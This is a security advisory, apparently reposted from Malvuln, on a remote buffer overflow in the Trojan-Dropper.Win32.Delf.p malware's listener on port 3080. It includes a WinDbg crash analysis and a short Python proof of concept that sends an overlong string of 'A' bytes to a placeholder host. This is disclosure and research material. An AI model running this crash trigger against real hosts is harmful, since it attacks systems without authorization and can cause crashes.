Wednesday, March 17, 2021

Trojan-Dropper.Win32.Delf.p Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/b02cc578d2e7f24fb67ec0afc42a9e13_B.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.Delf.p
Vulnerability: Remote Buffer Overflow
Description: Delf.p accepts connections on various TCP/UDP ports. Attackers who can reach TCP port 3080 can send a specially crafted packet to trigger a buffer overflow corrupting the stack overwriting ECX register.
Type: PE32
MD5: b02cc578d2e7f24fb67ec0afc42a9e13
Vuln ID: MVID-2021-0133
Dropped files: mmtask.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 03/16/2021

Memory Dump:
(b7c.f00): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414135 edx=00000008 esi=00000003 edi=00000003
eip=7710ed3c esp=0580f56c ebp=0580f6fc iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
7710ed3c c21400 ret 14h

0:012> .ecxr
eax=ffffffff ebx=04408440 ecx=41414135 edx=00000008 esi=04e4b09d edi=04e40048
eip=761972cb esp=0580fe8c ebp=0580fe8c iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286
kernel32!InterlockedDecrementStub+0xb:
761972cb f00fc101 lock xadd dword ptr [ecx],eax ds:002b:41414135=????????
*** WARNING: Unable to verify timestamp for mmtask.exe
*** ERROR: Module load completed but symbols could not be loaded for mmtask.exe

0:012> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
kernel32!InterlockedDecrementStub+b
761972cb f00fc101 lock xadd dword ptr [ecx],eax

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 761972cb (kernel32!InterlockedDecrementStub+0x0000000b)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 41414135
Attempt to write to address 41414135

PROCESS_NAME: mmtask.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000001

EXCEPTION_PARAMETER2: 41414135

WRITE_ADDRESS: 41414135

FOLLOWUP_IP:
mmtask+99891
00499891 85c0 test eax,eax

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

FAULTING_THREAD: 00000f00

BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff

PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_ffffffff

DEFAULT_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_ffffffff

LAST_CONTROL_TRANSFER: from 00499891 to 761972cb

STACK_TEXT:
0580fe8c 00499891 41414135 04e40048 00410098 kernel32!InterlockedDecrementStub+0xb
WARNING: Stack unwind information not available. Following frames may be wrong.
0580feb0 0040fca8 025191c8 00498a85 00000001 mmtask+0x99891
0580ff4c 00485c89 051bfb0c 00485c20 00485c20 mmtask+0xfca8
0580ff80 76198654 04408440 76198630 e41feed3 mmtask+0x85c89
0580ff94 77104a77 04408440 9dc38a17 00000000 kernel32!BaseThreadInitThunk+0x24
0580ffdc 77104a47 ffffffff 77129ed9 00000000 ntdll!__RtlUserThreadStart+0x2f
0580ffec 00000000 00485c20 04408440 00000000 ntdll!_RtlUserThreadStart+0x1b


SYMBOL_STACK_INDEX: 1

SYMBOL_NAME: mmtask+99891

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: mmtask

IMAGE_NAME: mmtask.exe

DEBUG_FLR_IMAGE_TIMESTAMP: 367709e4

STACK_COMMAND: ~12s; .ecxr ; kb

FAILURE_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_ffffffff_c0000005_mmtask.exe!Unknown

BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff_mmtask+99891



Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=3080

def doit():

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

dirty0tis_made_me_do_it="A"*1064

s.send(dirty0tis_made_me_do_it)
s.close()

print("Trojan-Dropper.Win32.Delf.p / Remote Buffer Overflow")
print("MD5: b02cc578d2e7f24fb67ec0afc42a9e13")
print("By Malvuln")


if __name__=="__main__":
doit()


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
 

Copyright © 2020 Cyber Details - Vulnerability Database™

Thanks for everything Templateism - You should have written the code a little more complicated